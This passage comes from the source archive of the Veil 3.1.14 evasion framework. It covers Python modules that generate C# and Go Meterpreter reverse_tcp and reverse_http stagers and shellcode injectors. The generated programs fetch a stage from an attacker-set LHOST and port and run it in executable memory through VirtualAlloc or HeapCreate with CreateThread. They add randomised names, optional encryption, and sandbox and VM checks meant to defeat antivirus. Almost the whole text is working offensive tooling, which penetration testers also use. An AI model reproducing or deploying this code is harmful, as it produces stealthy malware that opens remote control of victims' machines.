(UInt32){}.Length, 0);\n'.format(pinfoName, sName) payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) # code for Main() to launch everything sName = evasion_helpers.randomString() randomName = evasion_helpers.randomString() curlyCount = 0 payload_code += "static void Main(){\n" payload_code2, curlyCount = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) payload_code += "%s(%s);}\n" %(injectName, sName) while (curlyCount != 0): payload_code += '\t' * curlyCount + '}' curlyCount -= 1 # get 12 random variables for the API imports r = [evasion_helpers.randomString() for x in range(12)] y = [evasion_helpers.randomString() for x in range(17)] if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/cs/meterpreter/rev_tcp.py000066400000000000000000000213721365017756100241160ustar00rootroot00000000000000""" Custom-written pure c# meterpreter/reverse_tcp stager Uses basic variable renaming obfuscation Module built by @harmj0y Updated by @ChrisTruncer and @evan_pena2003 """ from lib.common import helpers from tools.evasion.evasion_common import encryption from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" self.language = "cs" self.extension = "cs" self.rating = "Excellent" self.name = "Pure C# Reverse TCP Stager" self.path = "cs/meterpreter/rev_tcp" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["4444", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_ARYA" : ["N", "Use the Arya crypter"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): getDataName = helpers.randomString() injectName = helpers.randomString() payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) hostName = helpers.randomString() portName = helpers.randomString() ipName = helpers.randomString() sockName = helpers.randomString() length_rawName = helpers.randomString() lengthName = helpers.randomString() sName = helpers.randomString() total_bytesName = helpers.randomString() handleName = helpers.randomString() payload_code += "static byte[] %s(string %s, int %s) {\n" %(getDataName, hostName, portName) payload_code += " IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" %(ipName, hostName, portName) payload_code += " Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" %(sockName) payload_code += " try { %s.Connect(%s); }\n" %(sockName, ipName) payload_code += " catch { return null;}\n" payload_code += " byte[] %s = new byte[4];\n" %(length_rawName) payload_code += " %s.Receive(%s, 4, 0);\n" %(sockName, length_rawName) payload_code += " int %s = BitConverter.ToInt32(%s, 0);\n" %(lengthName, length_rawName) payload_code += " byte[] %s = new byte[%s + 5];\n" %(sName, lengthName) payload_code += " int %s = 0;\n" %(total_bytesName) payload_code += " while (%s < %s)\n" %(total_bytesName, lengthName) payload_code += " { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" %(total_bytesName, sockName, sName, total_bytesName, lengthName, total_bytesName, lengthName, total_bytesName) payload_code += " byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" %(handleName, sockName) payload_code += " Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" %(handleName, sName, sName) payload_code += " return %s;}\n" %(sName) sName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) payload_code += " UInt32 %s = 0;\n" %(threadIdName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) sName = helpers.randomString() curlyCount = 0 payload_code += "static void Main(){\n" payload_code2, curlyCount = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 payload_code += " byte[] %s = null; %s = %s(\"%s\", %s);\n" %(sName, sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0]) payload_code += " %s(%s); }\n" %(injectName, sName) while (curlyCount != 0): payload_code += '\t' * curlyCount + '}' curlyCount -= 1 # get 12 random variables for the API imports r = [helpers.randomString() for x in range(12)] y = [helpers.randomString() for x in range(17)] if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/cs/shellcode_inject/000077500000000000000000000000001365017756100230355ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/cs/shellcode_inject/__init__.py000066400000000000000000000000001365017756100251340ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/cs/shellcode_inject/base64.py000066400000000000000000000215651365017756100245040ustar00rootroot00000000000000""" C# inline shellcode injector using the VirtualAlloc()/CreateThread() pattern. Uses basic variable renaming obfuscation. Adapated from code from: http://webstersprodigy.net/2012/08/31/av-evading-meterpreter-shell-from-a-net-service/ Module built by @harmj0y Updated for Veil 3 by @evan_pena2003 """ import base64 from tools.evasion.evasion_common import encryption from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required self.language = "cs" self.extension = "cs" self.rating = "Poor" self.description = "C# VirtualAlloc method for inline shellcode injection" self.name = "C# Flat Shellcode Injector" self.path = "cs/shellcode_inject/base64" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {OPTION : [Value, Description]]} self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_ARYA" : ["N", "Use the Arya crypter"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # Base64 Encode Shellcode Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') # randomize all our variable names, yo' namespaceName = evasion_helpers.randomString() className = evasion_helpers.randomString() bytearrayName = evasion_helpers.randomString() funcAddrName = evasion_helpers.randomString() shellcodeName = evasion_helpers.randomString() hThreadName = evasion_helpers.randomString() threadIdName = evasion_helpers.randomString() pinfoName = evasion_helpers.randomString() rand_bool = evasion_helpers.randomString() random_out = evasion_helpers.randomString() num_tabs_required = 0 # get 12 random variables for the API imports r = [evasion_helpers.randomString() for x in range(16)] y = [evasion_helpers.randomString() for x in range(17)] #required syntax at the beginning of any/all payloads payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (namespaceName, className) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) payload_code += "static void Main() {\n" payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 num_tabs_required += 2 payload_code += '\t' * num_tabs_required + "string %s = System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(\"%s\"));\n" % (bytearrayName, Shellcode) payload_code += '\t' * num_tabs_required + "string[] chars = %s.Split(',').ToArray();\n" %(bytearrayName) payload_code += '\t' * num_tabs_required + "byte[] %s = new byte[chars.Length];\n" %(shellcodeName) payload_code += '\t' * num_tabs_required + "for (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n" %(shellcodeName) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, shellcodeName) payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (shellcodeName, funcAddrName, shellcodeName) payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out) payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out) payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": rand_heap = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_var = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var) payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var) payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName) while (num_tabs_required != 0): payload_code += '\t' * num_tabs_required + '}' num_tabs_required -= 1 if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/cs/shellcode_inject/virtual.py000066400000000000000000000207301365017756100250770ustar00rootroot00000000000000""" C# inline shellcode injector using the VirtualAlloc()/CreateThread() pattern. Uses basic variable renaming obfuscation. Adapated from code from: http://webstersprodigy.net/2012/08/31/av-evading-meterpreter-shell-from-a-net-service/ Module built by @harmj0y Updated for Veil 3 by @evan_pena2003 """ from tools.evasion.evasion_common import encryption from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required self.language = "cs" self.extension = "cs" self.rating = "Poor" self.description = "C# VirtualAlloc method for inline shellcode injection" self.name = "C# Flat Shellcode Injector" self.path = "cs/shellcode_inject/virtual" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {OPTION : [Value, Description]]} self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_ARYA" : ["N", "Use the Arya crypter"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) # randomize all our variable names, yo' namespaceName = evasion_helpers.randomString() className = evasion_helpers.randomString() bytearrayName = evasion_helpers.randomString() funcAddrName = evasion_helpers.randomString() hThreadName = evasion_helpers.randomString() threadIdName = evasion_helpers.randomString() pinfoName = evasion_helpers.randomString() rand_bool = evasion_helpers.randomString() random_out = evasion_helpers.randomString() num_tabs_required = 0 # get 12 random variables for the API imports r = [evasion_helpers.randomString() for x in range(16)] y = [evasion_helpers.randomString() for x in range(17)] #required syntax at the beginning of any/all payloads payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (namespaceName, className) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) payload_code += "static void Main() {\n" payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 num_tabs_required += 2 if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (bytearrayName, Shellcode) payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, bytearrayName) payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName) payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out) payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out) payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName) # payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": rand_heap = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_var = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % (bytearrayName, Shellcode) payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var) payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var) payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName) while (num_tabs_required != 0): payload_code += '\t' * num_tabs_required + '}' num_tabs_required -= 1 if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/go/000077500000000000000000000000001365017756100175375ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/go/meterpreter/000077500000000000000000000000001365017756100220755ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/go/meterpreter/rev_http.py000066400000000000000000000224251365017756100243070ustar00rootroot00000000000000""" Custom-written pure go meterpreter/reverse_http stager Module built by @b00stfr3ak44 """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from random import randint class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" self.language = "go" self.extension = "go" self.rating = "Normal" self.name = "Pure Golang Reverse HTTP Stager" self.path = "go/meterpreter/rev_http" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["80", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], "PROCCHECK" : ["FALSE", "Check for active VM processes"], "MINPROCS" : ["X", "Minimum number of running processes"], "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], "CLICKTRACK" : ["X", "Require X number of clicks before execution"], "CURSORCHECK" : ["FALSE", "Check for mouse movements"], "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() base64Url = evasion_helpers.randomString() size = evasion_helpers.randomString() err = evasion_helpers.randomString() randBase = evasion_helpers.randomString() length = evasion_helpers.randomString() foo = evasion_helpers.randomString() random = evasion_helpers.randomString() outp = evasion_helpers.randomString() i = evasion_helpers.randomString() randTextBase64URL = evasion_helpers.randomString() getURI = evasion_helpers.randomString() sumVar = evasion_helpers.randomString() checksum8 = evasion_helpers.randomString() uri = evasion_helpers.randomString() value = evasion_helpers.randomString() hostAndPort = evasion_helpers.randomString() port = self.required_options["LPORT"][0] host = self.required_options["LHOST"][0] response = evasion_helpers.randomString() uriLength = randint(5, 255) payload = evasion_helpers.randomString() bufferVar = evasion_helpers.randomString() x = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() allocvarout = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() errorvariabledos = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["MINPROCS"][0].lower() != "x": payload_code += "\"os\"\n" if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" payload_code += ")\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x40\n)\n" % (pageExecRW) payload_code += "var (\n" payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) payload_code += "func %s(%s 